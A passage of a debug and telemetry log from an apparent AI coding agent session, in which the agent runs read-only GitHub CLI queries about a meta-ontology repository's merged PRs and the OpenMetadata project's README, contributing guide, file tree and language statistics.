dispatch_duration_ms=1 handler_duration_ms=1749 total_duration_ms=1751\n[2026-07-12T04:02:48.233Z] [INFO] \n[2026-07-12T04:02:48.516Z] [INFO] 2026-07-12T04:02:48.337712Z  INFO codex_http_client::custom_ca: using system root certificates because no CA override environment variable was selected codex_ca_certificate_configured=false ssl_cert_file_configured=false\n[2026-07-12T04:02:48.516Z] [INFO] \n[2026-07-12T04:02:48.532Z] [INFO] 2026-07-12T04:02:48.474198Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: feedback_tags: model=\"gpt-5.6-sol\" approval_policy=Never sandbox_policy=DangerFullAccess effort=Some(Medium) auth_mode=Some(Chatgpt) features=[ShellTool, CodexHooks, CodeModeHost, UnifiedExec, TerminalResizeReflow, ShellSnapshot, EnableRequestCompression, Collab, Apps, ToolSearchAlwaysDeferMcpTools, ToolSuggest, Plugins, InAppBrowser, BrowserUse, BrowserUseFullCdpAccess, BrowserUseExternal, ComputerUse, RemotePlugin, PluginSharing, ImageGeneration, ResizeAllImages, SkillMcpDependencyInstall, MentionsV2, GuardianApproval, Goals, ToolCallMcpElicitation, AuthElicitation, Personality, FastMode, RemoteCompactionV2, WorkspaceDependencies, Sqlite, Steer, CollaborationModes, TuiAppServer]\n[2026-07-12T04:02:48.532Z] [INFO] 2026-07-12T04:02:48.484768Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: codex_otel.log_only: event.name=\"codex.websocket_request\" duration_ms=1 success=\"true\" auth.env_openai_api_key_present=false auth.env_codex_api_key_present=false auth.env_codex_api_key_enabled=true auth.env_refresh_token_url_override_present=false auth.connection_reused=true event.timestamp=2026-07-12T04:02:48.484Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:48.532Z] [INFO] 2026-07-12T04:02:48.484850Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: codex_otel.trace_safe: event.name=\"codex.websocket_request\" duration_ms=1 success=\"true\" auth.env_openai_api_key_present=false auth.env_codex_api_key_present=false auth.env_codex_api_key_enabled=true auth.env_refresh_token_url_override_present=false auth.connection_reused=true event.timestamp=2026-07-12T04:02:48.484Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:48.532Z] [INFO] 2026-07-12T04:02:48.484874Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: feedback_tags: endpoint=\"/responses\" auth_header_attached=true auth_header_name=\"authorization\" auth_mode=\"Chatgpt\" auth_retry_after_unauthorized=\"false\" auth_recovery_mode=\"\" auth_recovery_phase=\"\" auth_connection_reused=\"true\" auth_request_id=\"\" auth_cf_ray=\"\" auth_error=\"\" auth_error_code=\"\" auth_recovery_followup_success=\"\" auth_recovery_followup_status=\"\" auth_env_openai_api_key_present=false auth_env_codex_api_key_present=false auth_env_codex_api_key_enabled=true auth_env_provider_key_name=\"\" auth_env_provider_key_present=\"\" auth_env_refresh_token_url_override_present=false\n[2026-07-12T04:02:48.532Z] [INFO] \n[2026-07-12T04:02:48.603Z] [INFO] 2026-07-12T04:02:48.583768Z DEBUG reqwest::connect: starting new connection: https://chatgpt.com/\n[2026-07-12T04:02:48.603Z] [INFO] 2026-07-12T04:02:48.595112Z DEBUG hyper_util::client::legacy::connect::http: connecting to 172.64.155.209:443\n[2026-07-12T04:02:48.603Z] [INFO] 2026-07-12T04:02:48.600652Z DEBUG hyper_util::client::legacy::connect::http: connected to 172.64.155.209:443\n[2026-07-12T04:02:48.603Z] [INFO] \n[2026-07-12T04:02:48.746Z] [INFO] 2026-07-12T04:02:48.724873Z DEBUG hyper_util::client::legacy::pool: pooling idle connection for (\"https\", chatgpt.com)\n[2026-07-12T04:02:48.746Z] [INFO] 2026-07-12T04:02:48.724955Z DEBUG codex_http_client::default_client: Request completed method=POST url=https://chatgpt.com/backend-api/codex/analytics-events/events status=200 OK headers={\"date\": \"Sun, 12 Jul 2026 04:02:48 GMT\", \"content-type\": \"application/json\", \"content-length\": \"88\", \"connection\": \"keep-alive\", \"server\": \"cloudflare\", \"cross-origin-opener-policy\": \"same-origin-allow-popups\", \"x-oai-request-id\": \"91e192f8-c2ed-4ed6-a9fa-013342092733\", \"x-openai-proxy-wasm\": \"v0.1\", \"referrer-policy\": \"strict-origin-when-cross-origin\", \"cf-cache-status\": \"DYNAMIC\", \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\", \"x-content-type-options\": \"nosniff\", \"report-to\": \"{\\\"group\\\":\\\"cf-nel\\\",\\\"max_age\\\":604800,\\\"endpoints\\\":[{\\\"url\\\":\\\"https://a.nel.cloudflare.com/report/v4?s=IA%2BZtw7KattRkDq%2BS8sijG2qaUkJRx9jbak4kZzaQr45hDJpIYlH7mpcfOwvSNNr3NxpKZM3%2B57zw923AJ0zYBbd0S0wWw4IkpnFeIDblta2RHcS8n5r%2Fq6vsnSs\\\"}]}\", \"nel\": \"{\\\"report_to\\\":\\\"cf-nel\\\",\\\"success_fraction\\\":0.01,\\\"max_age\\\":604800}\", \"cf-ray\": \"a19d278dd84a5d54-FRA\"} version=HTTP/1.1\n[2026-07-12T04:02:48.746Z] [INFO] \n[2026-07-12T04:02:49.265Z] [INFO] 2026-07-12T04:02:49.264466Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: Output item item=Reasoning { id: Some(\"rs_0e255b39bbad6b0b016a5311e93e8081918957fd287166f1fc\"), summary: [], content: Some([]), encrypted_content: Some(\"gAAAAABqUxHpijiBE1l6p7O6ixlVUtBxqFOegQVdpeQLBAgSTtw1T3kMWHamdr93GxvM2N94iVdXc0db__VHNiWX6Qe5kz54NNgbzs4osapGBZIWVS2l82UIHKGRt1bVS7cqHamjkOOjxx_r3TrUifsVw_EqD_FN9eSxziSkYi_20qwbDguxaVnQXggy7Rx-eYP-db8gqIKgAXnBl2hfIWtegL3WG9c8s6OOV9Hz1MbEq8UjPq1hhM8mR8BQg2qhH28bHDy_pqnHM6cb48YSIzPgvthFVhXpuge2Zmj0Wf7_uE_WCdaLzuPe4_8EQw8pOoUJGRPmeCmF459Hl34B9vrr08rO9YeGrRvFMs5oHHXY6saBrqOS7N18qkIjX-c_xW68EVQbfESaxtlxg2IAFNuYmqnETN3_YkHEkJqkmVUexoPC10T6dUcmSmNHr9lOf-XmcMV_AM_dM7TquYP9kjyKOze-5fgTFBv7-XrV3vnI7XWVODrfkFMIVF90poyaXdl3xNn72v_MB3reqViGe2NyU7HEj0G2dd8AtWY6VbSr616Xi2f0T1-QhtXcH8tY34DlwF9vMGogIKOcLa6DERj-g4EnJLOwp2RwKN7bC20m6jGDopkFdsKKPKbkU5ltTKRjP0fDIcWvC2YercUTKP34jCgjjloLoQCJP0WVCR6bhuQoyiyQcG3wKVlQ7iCfbVPrdxYdwtfQGMjLZV_g31FsBinQq4vg-aoBaGB0pDclvN2Q-9xwXfYGogoO9UJkXUSQTjz7b6mM5Yje1tEUe7zhV59UFmGER4e1g6jIExpSPoMC1ePsZ6eGxONuAkkRcyyTd4ZkTTk2MYbtz4w-Lc0kvCHF7tXccBMVZm19E9ZQ62WvtIysptP957-SzxHCVQY_pqlTtSgu5ThQvllCAMLdo4h8LEpeiA==\"), internal_chat_message_metadata_passthrough: Some(InternalChatMessageMetadataPassthrough { turn_id: Some(\"019f547d-6ea8-7232-8540-37894db8bb13\") }) }\n[2026-07-12T04:02:49.265Z] [INFO] \n[2026-07-12T04:02:53.545Z] [INFO] 2026-07-12T04:02:53.544683Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: Output item item=Reasoning { id: Some(\"rs_0e255b39bbad6b0b016a5311e93e8081918957fd287166f1fc\"), summary: [SummaryText { text: \"**Planning data collection and cloning strategy**\" }, SummaryText { text: \"**Searching recent best practices PRs**\" }], content: Some([]), encrypted_content: Some(\"gAAAAABqUxHt8T-VNW2U7xMf4fLd9g3F_tfJOSwfngTUZ9IcR_ArWJcYEU8AHp4QuH8q-ZwrQkU3w7joprLXRNmlH51QGUTm2tzwPMmZP-z87yIqj3R_6m0w7sIvg6Sp9WmEKxaZbdgCMUHsyFuJAg4D5vWCXHDnN8q0wjP9pC3xlOCauhgpGpT6dWyPT_-oaWdG8BX_6akG_ZhuhQigHG8vuExUR0-ivW7keoKm1rxu9Cz9B7WjWvdxLAKxj_WxFMEAQyhKSh6pVEkEA_hZSHkqgiIp9Cj1YvWQBsSsHY4camaRLwyPOmyvTn3I-rsaCclz83Ki5ncRZDO0CyP3iWQnbPo8aSw3MAfzTpnXg9yu_JnKodVrkRQv3cekMHK52cx617tnNMb58GHaG9npC5TT9JW3yMueeYmFEwR0Z6nN1K9n8pl9NUhoPKunwEu5ej_NmerOTxe0AZKDktgEaAwEIuWsBjCnKJm1-wCIevsuYcMgO8J-QHWdycO2wu7gzfpmUYxUGAx8diLgsbeuNKdHgJKszYZIN9qlXatVEGyMw10mzJksqZX0l2jvyMayOD0ksXGgz2WeYxV_R_294C4rgtkoFU5FFWnZ0b5rQZNpg-Vg3F6DL8JCdQzwUJ9EY3jFhQWS8OQ9IzSQUi57YZ0fUIyvjIMZQg55YB6XxGS1wihJJWLTn6Up9eRIuz05eB_snZtmO-xm7HzGTCNGDqB54uhNQfQDF8-zc96KI3FoldU-N2EMe8772nGA2iqB5wphMYpk2U1dLySNAfAeJTWZ2I0Xz-29u7ez-TPV0ZnEy-CMXsYem8JzB8OOXJPeY4h73t_Q1kNSpI4k6f1g7krp1_0k6WWDNOixYb6l8uCNbSeF98X5AqW0yFJrmVrWpWvp1dKlG917-d4p6OhOs9XMNX9S_iowDZGM1mLCH-9GdSQVS02UM2cJavzuTXzF8yRh7OG6Tt7A_3vjWZGgm8LxQj4MxwTRMCrBRoQVKSrbJNhoXk7UkOCR-EQclnvk15vwms5VPW3fsbj8pMbNaZU5_msQHek5cvSNlUMTP4m1rkvG_BYUXFv9oVobvrISqnVkTV9fTZT7TReXPAGaBZR4iVHsWvOWJk4Cw3tkP7Q9HMLDcjP7QXFC-UyhGY5TrIQFrOFUDh-5jjfvnI4sivy8LV6becVQMGAm6IQqe05cVI2zOUgewfRsh10XM3r2LzNUTjWiAAM7zVcER08FgHwgftsPs9t99zE3KeNfJYEYRZF1j2J-coPXsOe-XuhjnUuDrClenofRvrNBx9at3IZKqCJ7TkdmT82XsgyAh7ZD9JjxsVy0cM_H59cUwyB4FNTi2Sk2_YIAftXBgKiN_TukNAtsinjgoAuGfJyqE3A3Xq7D_qXBI0c1sZdaRkb52Ykoa8zJGOHCqC5avZ5G7LOczjQUeCY6_CnBXBCzldJ_PRCojff7Bvtdt2wUC42LUjBOMfLlqFr6bWfeuJcWSKDBDY4eCinFDileEDdT1KsN4wa0NERyh-jI4YhU7uE6GOxVCDHUHEYn8ZqlaxNCRQdHtU42VlHqHgWUzu6fBccA5hX4hXHvAyZzMoS_TRxfNtV-vDo_DsPyEVVoB5pp8pP331NdUEHBLzHCJlGvi2zCwD9bCnK1k7dCvvGyCkY6xuLjUFJFEqGKGRD2P8XZUyyTvL39h9ahnJQj5u_dDWYjucm3wkW_L0i5lUE1MMTZ4qbGWfvBolO9r4Bt4VdW9QlKNxmzM6klfKX8rjk0udb08nar7Gxgor4px35J0KXfWlR8CqKsszZBL0EX-KLSBZfZ7sgp2oa0QOaNJj-VZPsV2SaLHT_EB3JnEbp6oQyIlcSJ5qq4ikf4L-1btQO2VBI-hd7k0_JaBnXiPrMxlL6c2pXM4hj23XEDRwGiVUteGY-cBQUn96FA\"), internal_chat_message_metadata_passthrough: Some(InternalChatMessageMetadataPassthrough { turn_id: Some(\"019f547d-6ea8-7232-8540-37894db8bb13\") }) }\n[2026-07-12T04:02:53.545Z] [INFO] \n[2026-07-12T04:02:53.557Z] [INFO] {\"type\":\"item.completed\",\"item\":{\"id\":\"item_16\",\"type\":\"reasoning\",\"text\":\"**Planning data collection and cloning strategy**\\n**Searching recent best practices PRs**\"}}\n[2026-07-12T04:02:53.557Z] [INFO] \n[2026-07-12T04:02:53.569Z] [INFO] 2026-07-12T04:02:53.569384Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: Output item item=CustomToolCall { id: Some(\"ctc_0e255b39bbad6b0b016a5311ed84ac81919d8e59061590e187\"), status: Some(\"in_progress\"), call_id: \"call_TFDuOuM3NVuwrNC5tOrYEAs9\", name: \"exec\", namespace: None, input: \"\", internal_chat_message_metadata_passthrough: Some(InternalChatMessageMetadataPassthrough { turn_id: Some(\"019f547d-6ea8-7232-8540-37894db8bb13\") }) }\n[2026-07-12T04:02:53.569Z] [INFO] \n[2026-07-12T04:02:58.809Z] [INFO] 2026-07-12T04:02:58.804267Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: ToolCall: exec const cmds=[\n[2026-07-12T04:02:58.809Z] [INFO]  [\"related_prs\",\"gh pr list --repo link-foundation/meta-ontology --state merged --limit 30 --json number,title,mergedAt,url,body\"],\n[2026-07-12T04:02:58.809Z] [INFO]  [\"om_repo\",\"gh api repos/open-metadata/OpenMetadata\"],\n[2026-07-12T04:02:58.809Z] [INFO]  [\"om_release\",\"gh api repos/open-metadata/OpenMetadata/releases/latest\"],\n[2026-07-12T04:02:58.809Z] [INFO]  [\"om_languages\",\"gh api repos/open-metadata/OpenMetadata/languages\"],\n[2026-07-12T04:02:58.809Z] [INFO]  [\"om_tree\",\"gh api 'repos/open-metadata/OpenMetadata/git/trees/main?recursive=1' --jq '[.tree[] | select(.path==\\\"README.md\\\" or .path==\\\"CONTRIBUTING.md\\\" or .path==\\\"SECURITY.md\\\" or .path==\\\"openmetadata-spec\\\" or .path==\\\"openmetadata-service\\\" or .path==\\\"openmetadata-ui\\\" or .path==\\\"ingestion\\\" or .path==\\\"openmetadata-dist\\\" or .path==\\\"docker\\\" or .path==\\\"openmetadata-clients\\\" or .path==\\\"openmetadata-docs\\\" or .path==\\\".github/workflows\\\") | {path,type}]'\"],\n[2026-07-12T04:02:58.809Z] [INFO]  [\"om_readme\",\"gh api repos/open-metadata/OpenMetadata/readme -H 'Accept: application/vnd.github.raw+json'\"],\n[2026-07-12T04:02:58.809Z] [INFO]  [\"om_contrib\",\"gh api repos/open-metadata/OpenMetadata/contents/CONTRIBUTING.md -H 'Accept: application/vnd.github.raw+json'\"]\n[2026-07-12T04:02:58.809Z] [INFO] ];\n[2026-07-12T04:02:58.809Z] [INFO] const rs=await Promise.all(cmds.map(async ([n,c])=>[n,await tools.exec_command({cmd:c,workdir:\"/tmp/gh-issue-solver-1783828904396\",yield_time_ms:30000,max_output_tokens:30000})]));\n[2026-07-12T04:02:58.809Z] [INFO] for(const [n,r] of rs) text(`===== ${n} =====\\n${r.output}`);\n[2026-07-12T04:02:58.809Z] [INFO]  thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77\n[2026-07-12T04:02:58.809Z] [INFO] \n[2026-07-12T04:02:58.815Z] [INFO] 2026-07-12T04:02:58.809448Z  INFO feedback_tags: last_model_response_id=\"resp_0e255b39bbad6b0b016a5311e88c708191a6cd618e8176cd17\"\n[2026-07-12T04:02:58.815Z] [INFO] 2026-07-12T04:02:58.809494Z  INFO codex_otel.log_only: event.name=\"codex.sse_event\" event.kind=response.completed input_token_count=31990 output_token_count=527 cached_token_count=23296 reasoning_token_count=147 tool_token_count=32517 ttft_ms=787 model_reasoning_effort=\"medium\" event.timestamp=2026-07-12T04:02:58.809Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:58.815Z] [INFO] 2026-07-12T04:02:58.809518Z  INFO codex_otel.trace_safe: event.name=\"codex.sse_event\" event.kind=response.completed input_token_count=31990 output_token_count=527 cached_token_count=23296 reasoning_token_count=147 tool_token_count=32517 ttft_ms=787 model_reasoning_effort=\"medium\" event.timestamp=2026-07-12T04:02:58.809Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:58.815Z] [INFO] \n[2026-07-12T04:02:58.938Z] [INFO] 2026-07-12T04:02:58.935192Z  INFO codex_otel.log_only: event.name=\"codex.tool_decision\" tool_name=exec_command call_id=exec-d8eb3709-b482-48a6-8657-378b5d20a942 decision=approved source=Config event.timestamp=2026-07-12T04:02:58.935Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:58.938Z] [INFO] \n[2026-07-12T04:02:58.968Z] [INFO] 2026-07-12T04:02:58.966801Z  INFO codex_otel.log_only: event.name=\"codex.tool_decision\" tool_name=exec_command call_id=exec-77255e9a-6256-49d8-bdfa-37d4540232bd decision=approved source=Config event.timestamp=2026-07-12T04:02:58.966Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:58.968Z] [INFO] 2026-07-12T04:02:58.968445Z  INFO codex_otel.log_only: event.name=\"codex.tool_decision\" tool_name=exec_command call_id=exec-11e9a5f1-4a10-4ea3-820d-9e22465e454c decision=approved source=Config event.timestamp=2026-07-12T04:02:58.968Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:58.968Z] [INFO] 2026-07-12T04:02:58.968463Z  INFO codex_otel.log_only: event.name=\"codex.tool_decision\" tool_name=exec_command call_id=exec-177ef86b-02c1-4ddf-8538-b70e743cb244 decision=approved source=Config event.timestamp=2026-07-12T04:02:58.968Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:58.968Z] [INFO] \n[2026-07-12T04:02:59.000Z] [INFO] 2026-07-12T04:02:58.998643Z  INFO codex_otel.log_only: event.name=\"codex.tool_decision\" tool_name=exec_command call_id=exec-1127f142-2f1c-4237-a193-4829c1dcdd61 decision=approved source=Config event.timestamp=2026-07-12T04:02:58.998Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:59.000Z] [INFO] \n[2026-07-12T04:02:59.020Z] [INFO] 2026-07-12T04:02:59.019729Z  INFO codex_otel.log_only: event.name=\"codex.tool_decision\" tool_name=exec_command call_id=exec-28aecdb0-046c-4245-af97-933c2101b2bf decision=approved source=Config event.timestamp=2026-07-12T04:02:59.019Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:59.020Z] [INFO] \n[2026-07-12T04:02:59.049Z] [INFO] 2026-07-12T04:02:59.046291Z  INFO codex_otel.log_only: event.name=\"codex.tool_decision\" tool_name=exec_command call_id=exec-f948e03b-3e2d-4bb1-af52-f13ba112e15e decision=approved source=Config event.timestamp=2026-07-12T04:02:59.046Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:59.049Z] [INFO] \n[2026-07-12T04:02:59.121Z] [INFO] {\"type\":\"item.started\",\"item\":{\"id\":\"item_17\",\"type\":\"command_execution\",\"command\":\"/bin/bash -lc 'gh pr list --repo link-foundation/meta-ontology --state merged --limit 30 --json number,title,mergedAt,url,body'\",\"aggregated_output\":\"\",\"exit_code\":null,\"status\":\"in_progress\"}}\n[2026-07-12T04:02:59.121Z] [INFO] \n[2026-07-12T04:02:59.171Z] [INFO] {\"type\":\"item.started\",\"item\":{\"id\":\"item_18\",\"type\":\"command_execution\",\"command\":\"/bin/bash -lc \\\"gh api repos/open-metadata/OpenMetadata/readme -H 'Accept: application/vnd.github.raw+json'\\\"\",\"aggregated_output\":\"\",\"exit_code\":null,\"status\":\"in_progress\"}}\n[2026-07-12T04:02:59.171Z] [INFO] \n[2026-07-12T04:02:59.176Z] [INFO] {\"type\":\"item.started\",\"item\":{\"id\":\"item_19\",\"type\":\"command_execution\",\"command\":\"/bin/bash -lc 'gh api repos/open-metadata/OpenMetadata/languages'\",\"aggregated_output\":\"\",\"exit_code\":null,\"status\":\"in_progress\"}}\n[2026-07-12T04:02:59.176Z] [INFO] \n[2026-07-12T04:02:59.210Z] [INFO] {\"type\":\"item.started\",\"item\":{\"id\":\"item_20\",\"type\":\"command_execution\",\"command\":\"/bin/bash -lc \\\"gh api repos/open-metadata/OpenMetadata/contents/CONTRIBUTING.md -H 'Accept: application/vnd.github.raw+json'\\\"\",\"aggregated_output\":\"\",\"exit_code\":null,\"status\":\"in_progress\"}}\n[2026-07-12T04:02:59.210Z] [INFO] {\"type\":\"item.started\",\"item\":{\"id\":\"item_21\",\"type\":\"command_execution\",\"command\":\"/bin/bash -lc \\\"gh api 'repos/open-metadata/OpenMetadata/git/trees/main?recursive=1' --jq '[.tree[] | select(.path==\\\\\\\"README.md\\\\\\\" or .path==\\\\\\\"CONTRIBUTING.md\\\\\\\" or .path==\\\\\\\"SECURITY.md\\\\\\\" or .path==\\\\\\\"openmetadata-spec\\\\\\\" or .path==\\\\\\\"openmetadata-service\\\\\\\" or .path==\\\\\\\"openmetadata-ui\\\\\\\" or .path==\\\\\\\"ingestion\\\\\\\" or .path==\\\\\\\"openmetadata-dist\\\\\\\" or .path==\\\\\\\"docker\\\\\\\" or .path==\\\\\\\"openmetadata-clients\\\\\\\" or .path==\\\\\\\"openmetadata-docs\\\\\\\" or .path==\\\\\\\".github/workflows\\\\\\\") | {path,type}]'\\\"\",\"aggregated_output\":\"\",\"exit_code\":null,\"status\":\"in_progress\"}}\n[2026-07-12T04:02:59.210Z] [INFO] \n[2026-07-12T04:02:59.245Z] [INFO] {\"type\":\"item.started\",\"item\":{\"id\":\"item_22\",\"type\":\"command_execution\",\"command\":\"/bin/bash -lc 'gh api repos/open-metadata/OpenMetadata/releases/latest'\",\"aggregated_output\":\"\",\"exit_code\":null,\"status\":\"in_progress\"}}\n[2026-07-12T04:02:59.245Z] [INFO] \n[2026-07-12T04:02:59.257Z] [INFO] {\"type\":\"item.started\",\"item\":{\"id\":\"item_23\",\"type\":\"command_execution\",\"command\":\"/bin/bash -lc 'gh api repos/open-metadata/OpenMetadata'\",\"aggregated_output\":\"\",\"exit_code\":null,\"status\":\"in_progress\"}}\n[2026-07-12T04:02:59.257Z] [INFO] \n[2026-07-12T04:02:59.602Z] [INFO] 2026-07-12T04:02:59.601544Z  INFO codex_otel.log_only: event.name=\"codex.tool_result\" tool_name=exec_command call_id=exec-11e9a5f1-4a10-4ea3-820d-9e22465e454c arguments={\"cmd\":\"gh api repos/open-metadata/OpenMetadata/languages\",\"workdir\":\"/tmp/gh-issue-solver-1783828904396\",\"yield_time_ms\":30000,\"max_output_tokens\":30000} duration_ms=635 success=true output=Chunk ID: b52406\n[2026-07-12T04:02:59.602Z] [INFO] Wall time: 0.4247 seconds\n[2026-07-12T04:02:59.602Z] [INFO] Process exited with code 0\n[2026-07-12T04:02:59.602Z] [INFO] Original token count: 60\n[2026-07-12T04:02:59.602Z] [INFO] Output:\n[2026-07-12T04:02:59.602Z] [INFO] {\"TypeScript\":41102697,\"Java\":34595426,\"Python\":17784108,\"Less\":1046117,\"Shell\":327620,\"CSS\":197273,\"JavaScript\":165985,\"HTML\":34464,\"PLpgSQL\":26903,\"Dockerfile\":23766,\"Makefile\":22574,\"ANTLR\":4911,\"LookML\":1580,\"Mustache\":465,\"Jinja\":285} mcp_server= mcp_server_origin= event.timestamp=2026-07-12T04:02:59.601Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol 